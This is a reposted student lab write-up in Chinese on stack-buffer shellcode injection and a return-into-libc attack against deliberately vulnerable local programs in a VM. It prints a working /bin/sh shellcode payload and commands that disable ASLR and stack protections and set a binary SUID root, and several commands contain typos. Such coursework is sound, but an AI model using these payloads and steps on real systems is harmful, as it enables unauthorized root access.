20145203盖泽双《网络对抗技术》拓展:注入:shellcode及return-into-libc攻击

20145203盖泽双《网络对抗技术》拓展:注入:shellcode及return-into-libc攻击

一、注入:shellcode

1、编写一段用于获取Shellcode的C语言代码
   shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),它被用来发送到服务器利用其特定漏洞获取其权限。 Shellcode是溢出程序和蠕虫病毒的核心,只对没有打补丁的主机有用武之地。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,Shellcode本质上可以使用任何编程语言,但我们需要的是提取其中的机器码。

890515-20170310125205853-1248764366.png

2、设置实践成功的必备环境

GCC中的编译器有堆栈保护技术(结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。)所以我们应当采取一些措施确保我们的shellcode可以注入成功。
(1)在虚拟机中下载安装execstack
apt-cache search execstack
apt-get install execstack

890515-20170310125238313-1224141015.png

execstack --help

890515-20170310125312123-1164428981.png

(2)设置堆栈可执行
execstack -s 20145203pwn3

890515-20170310125326623-796905126.png

(3)查询文件的堆栈是否可执行
execstack -q 20145203pwn3

890515-20170310125336686-966170111.png

(4)关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space

890515-20170310125346670-1584725886.png

3、构造要注入的payload
   Linux下有两种基本构造攻击buf的方法:①retaddr+nop+shellcode②nop+shellcode+retaddr。retaddr在缓冲区的位置是固定的,缓冲区小就采用第一种方法,缓冲区大就采用第二种方法。

(1)构造badbuf字符串
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

890515-20170310125652764-781008841.png

注意
①我们的攻击buf结构应为:nops+shellcode+retaddr。
nop作用:一,填充,二,作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
②我们一开始不清楚应该将这段shellcode代码注入到哪个地方,所以最后四位的地址暂时用x04\x03\x02\x01\来代替。
③最后一个字符不可以是\x0a。否则\x0a代表回车,程序将直接执行,我们没有办法进行调试。
(2)用我们构造的badbuf字符串来执行20145203pwn3
cat input_shellcode;cat

890515-20170310125421529-560530955.png

4、经过调试确定x04\x03\x02\x01\处到底是什么

(1)重新打开一个窗口,得到正在运行的程序的进程号。
ps -ef | grep 20145203pwn3

890515-20170310125816967-1572013674.png

(2)对其进行GDB调试,并设置断点。
(gdb) disassemble foo

890515-20170310125824061-1781571802.png

(gdb) break *0x080484ae

890515-20170310125839529-1303609252.png

(3)在程序执行窗口按回车键运行程序。

890515-20170310125901029-59523543.png

(4)查看%esp中的地址并推断出我们所注入的shellcode的起始地址。

890515-20170310125911936-2051116425.png

890515-20170310125923389-1558019874.png

5、重新修改shellcode代码,并运行查看结果

(1)修改shellcode代码。

890515-20170310125936279-1719289875.png

(2)运行修改过的可执行文件,得到shellcode成功注入的结果!

890515-20170310125957873-1353790428.png

二、return-into-libc攻击

   为了对抗将shellcode注入到堆栈的的攻击,现在电脑的防御机制采用了非执行堆栈技术,这种技术使得堆栈上的恶意代码不可执行。因此我们又将shellcode攻击不断改进,想出了return-into-libc攻击。
   libc是Linux下的的函数库,return-into-libc攻击顾名思义就是将漏洞程序跳转到它的函数库中,从而不被发现地破坏漏洞程序的正常运行。

1、该实验需要在linux32位的环境下进行,所以进入到此环境中。
linux32
/bin/bash

890515-20170315184704526-777352809.png

2、关闭地址随机化,以确保攻击成功。
sudo sysctl -w kernel.randmize_va_space=0

890515-20170315184713854-89552626.png

3、让 /bin/sh 指向zsh程序,关闭其保护措施,以获得shell中的root权限。
ln -s zsh sh

890515-20170315184730026-1006457632.png

4、将漏洞retlib.c文件保存到/tmp目录下。

   retlib.c 程序作用:漏洞程序,我们通过控制badfile文件来产生root shell。

cd /tmp
vim retlib.c
890515-20170315184811932-1952480560.png

890515-20170315184747120-1549038878.png

5、编译程序,并运用-fno-stack-protector关闭栈保护机制。
gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c

890515-20170315184839745-1436325357.png

6、设置SET-UID,设置su以root身份执行。
chmod u+s reylib
890515-20170315184855198-1607635427.png

7、编辑并编译漏洞程序getenvaddr.c。

   getenvaddr.c 程序作用:漏洞程序,用于读取环境变量。

vim getenvaddr.c

gcc -m32 -o getenvaddr getenvadr.c

890515-20170315184920838-157121661.png

890515-20170315184929854-1257202577.png

8、编写攻击程序exploit.c保存到/tmp目录下。

    exploit.c 程序作用:攻击程序,程序代码段中有 BIN_SH、system、exit 的地址,我们通过修改这些地址,利用retlib程序的漏洞来进行攻击。

890515-20170315184954260-74484646.png

9、获取 BIN_SH 地址。
./getenvaddr BIN_SH ./retlib

890515-20170315185006401-205212087.png

10、编译exploit.c程序并进行调试。
gcc -m32 -g -0 exploit exploit.c
gdb -q ./exploit

890515-20170315185036166-102085699.png

11、获取system 和 exit 的地址。
(gdb) p system
(gdb) p exit

890515-20170315185056604-1365928955.png

12、修改 exploit.c 文件中的内存地址。

890515-20170315185110135-1729356801.png

13、.删除刚才调试编译的 exploit 程序和 badfile 文件,重新编译修改后的 exploit.c。
rm exploit
rm badfile

890515-20170315185131135-1327163549.png

14、先运行攻击程序 exploit,再运行漏洞程序 retlib,攻击成功!

890515-20170315185142276-1902955498.png

890515-20170315185210354-1338560416.png

转载于:https://www.cnblogs.com/GZSdeboke/p/6529904.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值